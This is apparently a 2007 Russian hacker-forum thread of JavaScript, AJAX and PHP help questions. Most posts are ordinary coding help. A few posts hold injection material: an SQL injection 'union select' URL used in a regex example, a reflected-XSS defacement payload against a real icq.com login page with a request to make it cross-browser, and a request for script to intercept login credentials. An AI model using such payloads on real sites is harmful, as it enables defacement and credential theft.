но почему-то непринимает все ссылки =( например test.php?123=555 уже непримет + хер знает его что он так глючит или подскажите класс наподобие который неглючит

inv
21.08.2007, 11:04
исходник не смотрел (возможно отбрасывается то что после ? иил превращается в пост запрос ХЗ)
открой passport.yandex.ru там в js будет пример ajax
а вообще посмотри инфу
там три строчки кода.

RaiDeRz
21.08.2007, 17:22
Верно вся ошибка в этом )) Из-за знака "?" как это исправить?
Вот мой код:
<script>

sUrl = "/test/brute";
String.prototype.trim = function() {
return this.replace(/^s+|s+$/g, "");
};


function getHTTPRequestObject() {
var xmlHttpRequest;
if (typeof ActiveXObject != 'undefined') {
xmlHttpRequest = new ActiveXObject('Microsoft.XMLHTTP');
} else if (typeof XMLHttpRequest != 'undefined') {
xmlHttpRequest = new XMLHttpRequest();
} else {
xmlHttpRequest = false;
}
return xmlHttpRequest;
}

var httpRequester = getHTTPRequestObject();

function makeAJAXCall(ajaxUrl){
if (httpRequester) {
httpRequester.open("GET", ajaxUrl, true);
httpRequester.onreadystatechange = processResponse;
httpRequester.send(null);
}
}
var READY_STATE_COMPLETE=4;

function processResponse() {
if (httpRequester.readyState == READY_STATE_COMPLETE) {
if (httpRequester.status==200) {
printToPage ("<font color=\"blue\">"+httpRequester.responseText+"</font>");
} else {
var message = "Problem retrieving data. requestStatus="+httpRequester.status+". Message="+httpRequester.statusText;
printToPage ("<font color=\"red\">"+message+"</font>");
}
}
}

function printToPage(value){
resultDiv = document.getElementById("result");
resultDiv.innerHTML = value;
}

function status(){
makeAJAXCall(sUrl+"/index.phpupdstat=1");
}
status();
</script>

<div id="result">Loading........</div>

inv
21.08.2007, 17:36
/index.phpupdstat=1

Я ТУТ вопроса вообще не вижу...

RaiDeRz
21.08.2007, 17:48
ой я его тут просто убирал )) /index.php?updstat=1
вот так должно быть а вместо попатка загрузить просто системная ошибка

inv
21.08.2007, 17:54
див перед вызовом функцией поставь
уменя работает в ие и опере

RaiDeRz
21.08.2007, 17:58
Хм.... странно и правдо стал пахать хотя было тоже самое )) Ты прям силами мысли все сделал =)
Теперь еще вопрос как сделать норм кодировку, а то у меня все в таком виде: �������� ����������

inv
21.08.2007, 18:04
1.вариант
не уверен что поможет
page_request.open('GET', url, true)
page_request.overrideMimeType("text/xml; charset=windows-1251");
page_request.send(null)
2.вариант
это уже в том файле который через аякс просишь
header('Content-type: text/xml; charset=windows-1251')

нужную кодировку укажи
*

RaiDeRz
21.08.2007, 18:18
Блягодарю все отлично работает header, 2 вариант помог

Darkweider
22.08.2007, 20:50
Нужен простой кроссбраузерный вариант на javascript'e перетаскиваемого div'a. У кого-нибудь есть что-нибудь подобное?

inv
22.08.2007, 23:44
http://demo.script.aculo.us/shop
http://www.artlebedev.ru/tools/technogrette/etc/adm/
http://www.walterzorn.com/dragdrop/dragdrop_e.htm#browser
не знаю насколько просто
************************************************** *******
недостаток большинства очень простых что при перетаскивании выделяется текст

Red_Red1
30.08.2007, 17:40
Можно ли через яваскрипт добраться до исходного кода странички (ХТМЛ). Т.е. мне нужно устроить поиск слова например в коментариях идущих после <!-- или найте какой-то тег?

inv
30.08.2007, 17:49
body.innerHTML
body.parentNode.innerHTML(не уверен что во всех брозерах будет работать)
ну вообщем в этом направлении...
ajax...тогда точно полная страница будет

halkfild
31.08.2007, 12:31
2Red_Red1
вот ищет и выделяет
function searchword(){
var r,i,s=document.selection.createRange().text;

if(!s)s=prompt('Найти:','');
if(s){
r=document.body.createTextRange();
for(i=0;r.findText(s);i++){
r.execCommand('BackColor','','yellow');
r.collapse(false)
}
alert('Найдено: '+i+' слово(а)')
}
}
а вот просто ищет и возращает истина или ложь
function search(param) { var r=document.body.createTextRange(); return r.findText(param);}


а у меня вопрос
есть функция которая парсит строку и изменяет ее.. паттерн правильный проверял..

вот кста прикольный конструктор можна онлайн проверять регулярку http://www.pcre.ru/eval/

но ничего не находит /*и выдает ошибку*/. вопрос: почему?

function setUrl(param) {
var num = 2;
var pnum= num+""+num+""+num+""+num+""+num;
var str = "http://127.0.0.1/lab/injector.php?id=-2+union+select+11111,22222,33333/*&bla=bla=bla";
var pattern = "/(http.+=-[a-zA-Z0-9].+union.+select.+)"+pnum+"(.+)/i";

document.write("<b>string</b> - "+str+"<br>");
document.write("<b>pattern</b> - "+pattern+"<br>");

var qqq = str.match(pattern);
var result = qqq[1]+param+qqq[2];
document.write("<b>new URL</b> - "+result+"<br>");
}

inv
31.08.2007, 12:52
var pattern = RegExp("(http.+=-[a-zA-Z0-9].+union.+select.+)"+pnum+"(.+)","i");

spamoney
09.09.2007, 15:49
В общем есть скрипт для вывода случайной картинки на php, можно ли как нибудь его переделать, добавив ajax (или написать другой), что бы допустим эти картинки менялись каждые 30 сек без перезагрузки страницы:

<?php
global $array;
global $array2;
$dir="images";
function cd_dir($dir){
global $array;
global $array2;
$r=opendir($dir);
while (false !== ($k = readdir($r))){
if(is_dir("$dir/$k") && $k!="." && $k!="..")
cd_dir("$dir/$k");
elseif ($m=substr($k,-4) and $m=='.jpg' or $m=='.png' or $m=='.gif')
{
$array[]=$dir."/".$k;
$array2[]=$k;
}
}
}
cd_dir($dir);
$number=rand(0,count($array)-1);
$resiz = 1;
$etalon = 120;
if ($resiz == 1) {
$size_img = getimagesize ("$array[$number]");
if ($size_img[0]>$etalon or $size_img[1]>$etalon) {
if ($size_img[0]>$size_img[1]) {
$koeff = $size_img[0]/$etalon;
} else {
$koeff = $size_img[1]/$etalon;
}
$w_new = $size_img[0]/$koeff;
$h_new = $size_img[1]/$koeff;
} else {
$w_new = $size_img[0];
$h_new = $size_img[1];
}
$new_s = "height=\"$h_new\" width=\"$w_new\"";
}
echo "<center><img $new_s src='$array[$number]' alt='Случайная картинка'>
</center><br>";
$size1=filesize("$array[$number]");
$size2=$size1/1024;
$size= round($size2);
echo "Файл:
<a href = '$array[$number]' title = 'Скачать картинку'>$array2[$number]</a><BR>";///Вывод названия
echo "Размер: $size Кб.<BR>";///Вывод Размера

?>

V1k
09.09.2007, 17:22
в пхп оставить только перенаправление на случайную картинку

<?php
global $array;
global $array2;
$dir="images";
function cd_dir($dir){
global $array;
global $array2;
$r=opendir($dir);
while (false !== ($k = readdir($r))){
if(is_dir("$dir/$k") && $k!="." && $k!="..")
cd_dir("$dir/$k");
elseif ($m=substr($k,-4) and $m=='.jpg' or $m=='.png' or $m=='.gif')
{
$array[]=$dir."/".$k;
$array2[]=$k;
}
}
}
cd_dir($dir);
$number=rand(0,count($array)-1);
header('Location: '.$array[$number]);
?>

> randimage.php


<center><img src="randimage.php" alt="Случайная картинка" onload=setTimeout('this.src="randimage.php"',30*1000) ></center><br>

> randimage.html
а размеры менять имхо нужно средствами php, а не с помощью параметров тэга img

ParadoX
10.09.2007, 22:47
всем привет.
у меня вот какая ситуация:
имеем окно с двумя фреймами...
пусть их имена

name=levo src=http://localhost/1html
name=pravo src=http://localhost/2.html

в правом фрейме есть форма c именем zero с текстовым полем и именем one
когда обращаюсь из левого фрейма к правому top.pravo.document.zero.one.value="TEST";
то всё работает и в поле появляется "TEST".
затем в левом фрейме пишу top.pravo.location.replace('http://victim.ru/3.html');
и вижу что фрейм подгрузился и в нём такая же форма и текстовое поле,только имена xzero и xone...
и вот тут -то мои непонятки начинаются....
не могу обратиться к этому новому документу((
пишу в левом фрейме top.pravo.document.xzero.xone.value="xTest"; и получаю Фигу))
и чем я только его не пробовала.....
и никакого толку((
то отказано в доступе,то не является объектом и т.п и т.д
вот я и спрашиваю знающих: чё за байда?!
Этот вновь подгруженый фрейм тепеть не потомок? и родители его не знают?
к нему возможно хоть как-то обратиться или нет?
и из него не могу обратиться к top.levo((
вобщем они друг-друга "моя-твоя не понимай"
прошу объяснить чё за нафик такое))
ситуацию я упростил для понимания проблемы,а на самом деле вся эта напасть случилась в чате,
где я так же делаю location.replace и загружаю свой html-файл в котором дописал парочку своих функций))
но вот нифига у меня не выходит((
помогите люди добрые чем можете,а-то сами мы не местные и всё такое прочее...

V1k
11.09.2007, 17:08
это нарушает политику безопасности браузера. страницы из разных доменов не могут читать/изменять друг друга. такое возможно только при использовании браузерных уязвимостей типа cross domain scripting

ParadoX
11.09.2007, 22:25
спасибо за ответ))
я думал что я тупой как валенок,а оказывается я простодушный очень)) Вот поэтому мне и в голову не пришло что тут БЕ-ЗО-ПАС-НОСТЬ на первом месте.
спасибо ещё раз что не поленился ответить))

SchmeL
12.09.2007, 15:24
ХАЙ всем участникам.
у меня вот что: есть форум, на нем уменя ббкод отвечающий за заливку файлов на файлохранилище. при нажатии на кнопку открывается окно с фреймом в котором этот сайт собственно оттображается, так вот можно ли как то отключить все картинки в этом фрейме незатрагивая основную страницу c помощью JS или быть может CSS. вот код шаблона форума где этот фрейм:
<img src="{$style['imagefolder']}/bbcode_upload.gif" onclick="datenschleuder.open( this ); return false;" onmouseover="this.style.cursor='hand';" border="0" alt="{$lang->items['LANG_POSTINGS_DATENSCHLEUDER_UPLOAD']}" title="{$lang->items['LANG_POSTINGS_DATENSCHLEUDER_UPLOAD']}" />
</td>
</tr>
</table>
<script language="JavaScript" src="js/datenschleuder.js"></script>
<div id="datenschleuder" style="position:absolute; display:none">
<table cellpadding="2" cellspacing="0" border="0" style="border:1px solid #c2c2c2; border-bottom:0; background-color:#f6f6f6;
width: 328px; padding: 0 1 0 1;
" class="normalfont">
<tbody>
<tr>
<td><b>{$lang->items['LANG_POSTINGS_DATENSCHLEUDER_UPLOAD']}</b></td>
<td align="right"><a href="#" onclick="datenschleuder.close(); return false;">
<img src="{$style['imagefolder']}/datenschleuder_close.gif" border="0" alt="{$lang->items['LANG_POSTINGS_DATENSCHLEUDER_CLOSE']}" title="{$lang->items['LANG_POSTINGS_DATENSCHLEUDER_CLOSE']}" /></a></td>
</tr>
</tbody>
</table>
<div style="width: 328px; height: 200px; padding: 0px;">
<iframe src="http://www.zalil.ru/index.php" scrolling="no"
allowtransparency="true" width="328" height="199" style="background-color:transparent; border:0">
</iframe></div>
</div>

SkvO
27.09.2007, 05:09
Есть потенциальная XSS:

https://www.icq.com/karma/login_page.php?&"></div><div/class="h5-2"></div><div/class="d"/id="h5"/align="center"><FONT/SIZE=6>WAS HERE Skv0</FONT></div><!--

работает это только на IE, можно ли сделать так, чтоб это работало на всех браузерах ?

IIAHbI4
27.09.2007, 18:58
есть у кого скрипт заливки файла на сервер, ява скриптом?
спасибо!

\\даже нагуглить ничё подобного не получается. (

Helios
27.09.2007, 19:24
есть у кого скрипт заливки файла на сервер, ява скриптом?
спасибо!

\\даже нагуглить ничё подобного не получается. (

Плагин FileUpoad для jQuery // если я тебя правильно понял.
www.phpletter.com/Demo/AjaxFileUpload-Demo/ -

sasha72
02.10.2007, 17:53
Warning: mysql_pconnect() [function.mysql-pconnect]: Client does not support authentication protocol requested by server; consider upgrading MySQL client in z:\home\test2.ru\www\inc\db_connect.php on line 6

Warning: mysql_select_db(): supplied argument is not a valid MySQL-Link resource in z:\home\test2.ru\www\inc\db_connect.php on line 7
Ошибка соединения с БД!

Чё делать всегда выдает ошыбку а настроил то всё верно

<?php

$img_server="http://localhost";
$now = time();

$link=mysql_pconnect("localhost","zavodim","1234");
mysql_select_db("zavodim",$link) or die ("Ошибка соединения с БД!");

$uri=GetEnv("REQUEST_URI");
$uri=explode(".....",$uri);

$ips=GetEnv("REMOTE_ADDR");

$ip=explode(".",$ips);


if (($ip[0] == 62 && $ip[1] == 183 && $ip[2] == 53) || $ips=="80.66.247.94" || $ips=="80.66.253.60") {
echo"You are died ;) Go back ;)";
exit;
}
?>

чё тут может быть не верного пароль 1234 бд zavodim а в чём дело так и не понял Плизззз хелп

groundhog
02.10.2007, 18:18
sasha72, первый кандидат на наказание... Нах постить во всех темах? Тем более какое оно имеет отношение к явксу и скриптам?

sasha72
02.10.2007, 22:08
я прост в скриптах ламер

Tw!m4
05.10.2007, 19:19
Прет народ!

Как можно с помощью ява скрипт вычетать цвет бэкграунда страницы?

phol1eadeux
05.10.2007, 19:21
Смотри в соседней теме.

~EviL~
06.10.2007, 12:37
Привет всем. У меня такая ситуация: имеется форма для ввода имени, и соответственно, пароля. Можно ли внедрить javascript который считывает или перехватывает пароль и имя ползователя (username + password), и если да, подкиньте плс код. Спасибо за внимание! =)

astrologer
07.10.2007, 18:16
Привет всем. У меня такая ситуация: имеется форма для ввода имени, и соответственно, пароля. Можно ли внедрить javascript который считывает или перехватывает пароль и имя ползователя (username + password), и если да, подкиньте плс код. Спасибо за внимание! =)
А как ты собираешься его внедрить на страницу? (Если это твой сайт, то вообще смысла не вижу)

GHostly_FOX
08.10.2007, 09:36
Необходимо добавить items'ы по нажатию кнопки в объект new Ext.TabPanel
Как это сделать? Я немогу понял как построена структура объекта viewport

Используется комплект Ext 2.0 (link:_http://extjs.com/download)

Ext.onReady(function(){

Ext.state.Manager.setProvider(new Ext.state.CookieProvider());

var viewport = new Ext.Viewport({
layout:'border',
items:[
new Ext.BoxComponent({
region:'north',
el: 'north',
height:32
}),{
region:'south',
contentEl: 'south',
split:true,
height: 100,
minSize: 100,
maxSize: 200,
collapsible: true,
title:'South',
margins:'0 0 0 0'
}, {
region:'east',
title: 'East Side',
collapsible: true,
split:true,
width: 225,
minSize: 175,
maxSize: 400,
layout:'fit',
margins:'0 5 0 0',
items:
new Ext.TabPanel({
border:false,
activeTab:1,
tabPosition:'bottom',
items:[{
html:'<p>A TabPanel component can be a region.</p>',
title: 'A Tab',
autoScroll:true
},
new Ext.grid.PropertyGrid({
title: 'Property Grid',
closable: true,
source: {
"(name)": "Properties Grid",
"grouping": false,
"autoFitColumns": true,
"productionQuality": false,
"created": new Date(Date.parse('10/15/2006')),
"tested": false,
"version": .01,
"borderWidth": 1
}
})]
})
},{
region:'west',
id:'west-panel',
title:'Меню',
split:true,
width: 200,
minSize: 175,
maxSize: 400,
collapsible: true,
margins:'0 0 0 5',
layout:'accordion',
layoutConfig:{
animate:true
},
items: [{
contentEl: 'west',
title:'Публикации',
border:false,
iconCls:'pub'
},{
title:'Настройки скрипта',
html:'<p>Some settings in here.</p>',
border:false,
iconCls:'settings'
},{
title:'Управление пользователями',
html:'<p>Some settings in here.</p>',
border:false,
iconCls:'user'
},{
title:'Управление шаблонами',
html:'<p>Some settings in here.</p>',
border:false,
iconCls:'template'
},{
title:'Утилиты',
html:'<p>Some settings in here.</p>',
border:false,
iconCls:'plugin'
},{
title:'Другие разделы',
html:'<p>Some settings in here.</p>',
border:false,
iconCls:'settings'
}]
},
new Ext.TabPanel({
region:'center',
deferredRender:false,
activeTab:0,
items:[{
contentEl:'center1',
title: 'Close Me',
closable:true,
autoScroll:true
},{
contentEl:'center2',
title: 'Center Panel',
autoScroll:true
}]
})
]
});
});

Meanor
10.10.2007, 23:50
Как можно сделать, чтобы фрейм был всегда прокручен вниз до максимума? (для чата...)

Vadik
11.10.2007, 12:54
Доброго времени суток
не могу разобраться со скриптом

на странице по середине есть большая картинка и во круг неё допустим 9 маленьких, при наведении курсора на маленькую она отображается в большой.

<script language="JavaScript">if (navigator.appVersion.indexOf("2.") != -1)
{ check = false; }

if ((navigator.appVersion.indexOf("3.") != -1) &&
(navigator.appName.indexOf("Explorer") != -1))

{ check = false; }
else { check = true; }

im1ch = new Image();
im1ch.src = "1.gif";
im1chon = new Image();
im1chon.src = "2.gif";

function imon(name)
{document["change"].src = eval(name + "chon.src"); }

function imoff(name) { document["change"].src = eval(name + "ch.src"); }

NN3 = true;

function on(name)
{ if (check == true){ imon(name);} }

function off(name)
{ if (check == true){ imoff(name);} }
</script>


Где сначало идет проверка версии браузера(будет ли работать скрипт), затем описание картинки и той, что ее сменяет (обознач im1 и im1chon), а потом сам скрипт замены... Картинок можно вставить сколько угодно (пример im2, im3,.. imn...),
а вот вызывать их надо так...

<img SRC="main.gif" NAME="change">
<a href="#" onMouseOver="on('im1')" ; onMouseOut="off('im1')">
<img SRC="1.gif" NAME="im1" BORDER="0"></a>

Первая строка - первоночальное изображение, с заданием имени change (см.скрипт), потом дополнит. изобр.(таких можно сделать много по аналогии)...

у меня при наведении на маленькую картинку большая вовсе пропадает

inv
11.10.2007, 14:31
полный исходный код html+javascript
или ссылку на страницу
и названия картинок(имена всех используемых файлов-картинок)

Скорее всего просто неправильные адреса картинок делаешь..

Vadik
11.10.2007, 16:05
inv
только начал делать, всё лежит на компе
названия картинок используемые для замены ; 1; 1b; 2; 2b; 3; 3b; 4; 4b ( 1 и т.д. - это маленькие, 1b и т. д. - это большие)
вот как прописать путь на большую картинку не знаю
пример того чего хочу сделать, только там кликать надо, а по этому скрипту нужно только навести курсор:
ццц.oman3d.com/tutorials/flash/portfolio_2_bc/

а вот полный исходный код html+javascript
<HTML>
<HEAD>
<TITLE>test</TITLE>
<meta http-equiv="Content-Style-Type" content="text/css">
<LINK HREF="style.css" TYPE="text/css" REL="stylesheet">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><style type="text/css">
<!--
body {
background-color: #EAE5DB;
}
.caption {color: #FFC109;
}
.стиль15 {color: #FFC109; font-size: 16px; }
.стиль16 {font-size: 16px}
.стиль17 {color: #CCCCCC; font-size: 16px; }
-->
</style>
<script type="text/javascript">
<!--
function MM_swapImgRestore() { //v3.0
var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_jumpMenu(targ,selObj,restore){ //v3.0
eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
if (restore) selObj.selectedIndex=0;
}
//-->
</script>
<script language="JavaScript">
if (navigator.appVersion.indexOf("2.") != -1)
{ check = false; }

if ((navigator.appVersion.indexOf("3.") != -1) &&
(navigator.appName.indexOf("Explorer") != -1))

{ check = false; }
else { check = true; }

im1ch = new Image();
im1ch.src = "1.gif";
im1chon = new Image();
im1chon.src = "2.gif";

function imon(name)
{document["change"].src = eval(name + "chon.src"); }

function imoff(name) { document["change"].src = eval(name + "ch.src"); }

NN3 = true;

function on(name)
{ if (check == true){ imon(name);} }

function off(name)
{ if (check == true){ imoff(name);} }
</script>
</HEAD>
<BODY LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0>
<TABLE WIDTH=850 height="511" BORDER=0 align="center" CELLPADDING=0 CELLSPACING=0>
<TR>
<TD WIDTH=850HEIGHT=10 ALT="" valign="top">
<TABLE WIDTH=850 BORDER=0 CELLPADDING=0 CELLSPACING=0>
<TR>
<TD width="850" height="19"><img src="images/bottom-1.jpg" width="850" height="19"></TD>
<form>
</form>
</TR>
</TABLE> </TD>
</TR>
<TR><TD height="95"><img src="images/logo-bau.jpg" width="850" height="95"></TD>
</TR>
<TR>
<TD WIDTH=850 HEIGHT=36 ALT="" valign="top">
<TABLE WIDTH=850 BORDER=0 CELLPADDING=0 CELLSPACING=0>
<TR>
<TD><a href="index-2.html"><IMG SRC="images/m1.jpg" ALT="" WIDTH=174 HEIGHT=36 border="0"></a></TD>
<TD><a onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('r2','','images/2-c2.gif',1)"><img src="images/1-c2.gif" alt="" name="r2" width="160" height="36" id="r2" /></a></TD>
<TD><a onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('r3','','images/3-b3.gif',1)"><img src="images/1-b3.gif" alt="" name="r3" width="160" height="36" id="r3" /></a></TD>
<TD><a onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('r4','','images/4-b4.gif',1)"><img src="images/1-b4.gif" alt="" name="r4" width="160" height="36" id="r4" /></a></TD>
<TD><a onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('r5','','images/5-b5.gif',1)"><img src="images/1-b5.gif" alt="" name="r5" width="160" height="36" id="r5" /></a></TD>
<TD><IMG SRC="images/m6.jpg" ALT="" WIDTH=36 HEIGHT=36 border="0"></TD>
</TR>
</TABLE> </TD>
</TR>
<TR><TD><IMG SRC="images/spacer.gif" WIDTH=850 HEIGHT=8 ALT=""></TD></TR>
<TR>
<TD WIDTH=721 HEIGHT=285 ALT="" valign="top">
<table width="721" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="7" height="7"><img src="images/top_left_corner.jpg"></td>
<td width="707" background="images/top_px.jpg"><img src="images/spacer.gif"></td>
<td width="7"><img src="images/top_right_corner.jpg"></td>
</tr>
<tr>
<td width="7" height="271" background="images/left_px.jpg"><img src="images/spacer.gif"></td>
<td width="707" valign="top">
<table width="837" height="400" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="166" height="264" valign="top" background="images/dot.jpg" style="background-position:right; background-repeat:repeat-y "><img src="images/bottom-3.jpg" width="165"><br style="line-height:7px "></td>
<td width="671" valign="top"><table width="160" height="258" border="0" align="left" cellpadding="3" cellspacing="0">
<tr>
<td height="24" align="left" valign="top" ><a href="#" onMouseOver="on('im1')" ; onMouseOut="off('im1')">
<img SRC="images/pic/1.gif" NAME="im1" width="135" height="110" BORDER="0"></a></td>
</tr>
<tr>
<td width="636" height="24" align="left" valign="top" ><a href="#" onMouseOver="on('im1')" ; onMouseOut="off('im1')">
<img SRC="images/pic/2.gif" NAME="im1" width="135" height="110" BORDER="0"></a></td>
</tr>
</table>
<table width="348" height="258" border="0" align="left" cellpadding="3" cellspacing="0">
<tr>
<td width="636" height="24" align="left" valign="top" ><img SRC="images/pic/1b.gif" NAME="change" width="298" height="243"> </td>
</tr>
</table>
<table width="160" height="258" border="0" align="left" cellpadding="3" cellspacing="0">

<tr>
<td height="24" align="left" valign="top" ><a href="#" onMouseOver="on('im1')" ; onMouseOut="off('im1')">
<img SRC="images/pic/3.gif" NAME="im1" width="135" height="110" BORDER="0"></a></td>
</tr>
<tr>
<td width="636" height="24" align="left" valign="top" ><a href="#" onMouseOver="on('im1')" ; onMouseOut="off('im1')">
<img SRC="images/pic/4.gif" NAME="im1" width="135" height="110" BORDER="0"></a></td>
</tr>
</table></td>
</tr>
</table> </td>
<td width="7" background="images/right_px.jpg"><img src="images/spacer.gif"></td>
</tr>
<tr>
<td width="7" height="7"><img src="images/bot_left_corner.jpg"></td>
<td width="707" background="images/bot_px.jpg"><img src="images/spacer.gif"></td>
<td width="7"><img src="images/bot_right_corner.jpg"></td>
</tr>
</table> </TD>
</TR>
<TR><TD><IMG SRC="images/spacer.gif" WIDTH=850 HEIGHT=8 ALT=""></TD></TR>
<TR>
<TR><TD height="4"><img src="images/bottom-2.jpg" width=850 height=60 alt=""></TD>
</TR>
<TR>

</TR>
</TABLE>
*
*
*
*
</BODY>
</HTML>

Vadik
12.10.2007, 00:08
мою просьбу о помощи можно считать закрытой.
решил задачу с помощью другого скрипта.
спасибо.

Helios
12.10.2007, 00:14
2Meanor

в конец содержания врейма впихни этот код:


<div id="myFrameFooter"></div>
<script>
document.getElementByID('myFrameFooter').scrollInt oView();
</script>

GHostly_FOX
15.10.2007, 06:46
А с моей просьбой никто не может помочь???

inv
15.10.2007, 20:17
GHostly_FOX

у кого-то нет времени кому-то лень в этом разбираться...=\тут же бескорыстная помощь ,а что ты хотел=\без ответа.

astrologer
15.10.2007, 21:43
А с моей просьбой никто не может помочь??? У них на сайте документация с примерами, почитай.
Вот, например (http://extjs.com/deploy/ext/examples/tabs/tabs.html). По аналогии сделать не сложно.

<don>C2E/\T!\/E
21.10.2007, 16:13
Хочу изучить JavaScript, посоветуйте плз с чего начать, в Java полный "0", давно начинал учить С++, но тож оч. мало.

Helios
21.10.2007, 23:09
Для начала: Java и JavaScript диаметрально разные языки. JavaScript - язык простой и легкий для освоения.

Рекомендую купить/скачать 2 книги:
первую в стиле "Самоучитель JavaScript. Освой за 21 день",
вторую - "JavaScript: Библия пользователя".

Последнюю рекомендую иметь в печатном варианте, т.к. если решишь серьезно заниматься JS, то этот справочник пригодится не раз. Одно но, т.к. книга большая и стоящая, ее цена может быть довольно большой.

Darkweider
24.10.2007, 16:54
Вопрос: Надо сделать так чтобы div обновлялся через определенное время без перезагрузки страницы... Соответственно с обращением к скрипту на рhp. Скрипт соответственно выводит какую-то информацию... Плюс еще вопрос как сделать пост запрос опять же к скрипту без перезагрузки, т.е. чтобы информацию просто отправилась на скрипт а страница не менялась...

Kridan
30.10.2007, 00:30
Вопрос: Надо сделать так чтобы div обновлялся через определенное время без перезагрузки страницы... Соответственно с обращением к скрипту на рhp. Скрипт соответственно выводит какую-то информацию... Плюс еще вопрос как сделать пост запрос опять же к скрипту без перезагрузки, т.е. чтобы информацию просто отправилась на скрипт а страница не менялась...

window.setTimeout(reloadFunction(), 60000);

function reloadFunction(){
if(typeof(XMLHttpRequest)!='undefined'){
var getXMLHttpObj = function(){ return new XMLHttpRequest(); };
} else {
var getXMLHttpObj = function(){
var activeXObjects = ['Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP'];
for(var i=0; i<activeXObjects.length; i++){
try{
return new ActiveXObject(activeXObjects[i]);
} catch(err){};
};
};
};
PostString="То, что надо отправить";
var oXml = getXMLHttpObj();
oXml.open('POST', 'getData.php', true);
oXml.setRequestHeader("Content-Type", "text/plant");
oXml.onReadyStateChange = processingFunction;
oXml.send(PostString);
};

function processingFunction(){
if(oXml.readyState!=4) return; // запрос не выполнен

newDiv=oXml.responseText;
document.getElementById("myDiv").innerHTML=newDiv;
window.setTimeout(reloadFunction(), 60000);
};

И на самой странице <div id="myDiv">...</div>

Darkweider
31.10.2007, 01:21
Оо спасибо внятно и понятно.. супер , а то до этого приходилось get использовать..

rubik-nerubik
02.11.2007, 17:05
нужен скрипт, который бы при нажатии на <input type=text, он бы обчным путем отправлялся в аксесс (на соседний фрейм) а у себя бы обнуляля строку

inv
02.11.2007, 17:09
научитесь писать по-русски и возможно у кого-нибудь возникнет желание помочь безвозмездно

phol1eadeux
02.11.2007, 20:43
отправлялся в аксесс (на соседний фрейм)
Это что такое?

rubik-nerubik
02.11.2007, 22:03
феникс вот
есть страница индекс в нем два фрейма down.php and up.php
в нижнем есть строка ввода, которая при нажатии оотправляет данные в верхний файл
вот. как реализовать скриптом чтобы строка очищалась без обновления экрана, ну когда жмешь на обновить все данные в обычных строках и текстарея очищаются ведь так? так.. вот.

guest3297
02.11.2007, 22:51
Эм нужен скрипт затемнения окна и показа в середине загрузки, и что бы все это происходило во время загрузки скрипта.

astrologer
03.11.2007, 00:36
']Эм нужен скрипт затемнения окна и показа в середине загрузки, и что бы все это происходило во время загрузки скрипта.
http://developer.co.ua/posts/view/modalnye_okna_v_veb-prilozhenijax

phol1eadeux
03.11.2007, 02:44
как реализовать скриптом чтобы строка очищалась без обновления экрана
При каком событии? Что конкретно ты хочешь сделать. С трудом понимаю тебя. =/

rubik-nerubik
03.11.2007, 19:38
pho1eadeux вот. есче раз, имею файл index.php, в нем написан код фрейма, направляющий на два окна up.php и down.php, при открытии фрейма в строке(<input type=text name=str target=увазано на верхний фрейм>) мы пишем текст, который после нажатия на Enter отправляет данные строки strв верхний фрейм, так вот, нужен скрипт, который бы просто тупо обнулял эту строку str

Kridan
03.11.2007, 22:25
<input type=text name=str target=увазано на верхний фрейм>...
...так вот, нужен скрипт, который бы просто тупо обнулял эту строку str

<input type="text" name="str" id="str">
<input type="submit" onClick="getElementById('str').value='';">

То есть просто значение полю задать пустое.

Helios
04.11.2007, 16:08
2 Kridan
Согласно твоему коду первым обработается Click, а уж потом будут отправлены данные.
Для того, что хочет rubik-nerubik есть событие AfterSubmit формы, т.е.


<form onAfterSubmit="document.getElementById('str').value='';">

XHTTP
05.11.2007, 03:26
Вопрос: как заставить javaScript отображать флэш ролики *.swf с помощью команды document.write ?

Тема такая: хочу написать скрипт который в зависимости от разрешения экрана вставлял разные флэш ролики.
С картинками на много проще обстоит дело, но эффект не тот.

Челы, намудозвонился по самые уши...

astrologer
05.11.2007, 19:27
Вопрос: как заставить javaScript отображать флэш ролики *.swf с помощью команды document.write ?
document.write('<embed src="flash.swf"></embed>');Тема такая: хочу написать скрипт который в зависимости от разрешения экрана вставлял разные флэш ролики.
document.write('<embed src="flash.swf?w='+screen.width+'&h='+screen.height+'"></embed>')

XHTTP
06.11.2007, 03:33
Дурак, завалился на мелочи :D. Вместо ' поставил " ....
СПС :)

DCRM
06.11.2007, 16:14
Ситуация такая... вроде скрипт простой) НО...
Нужно сделать что запрос передавался в качестве POST и начался переход на страницу...

Реализовал как бы "GET" с помощью функции(это рабочий и действующий вариант запроса GET, можно посмотреть у меня на сайте (x-crm.info)):

function doClick(xx)
{
location.href = "index.php?x=" + xx.id;
}

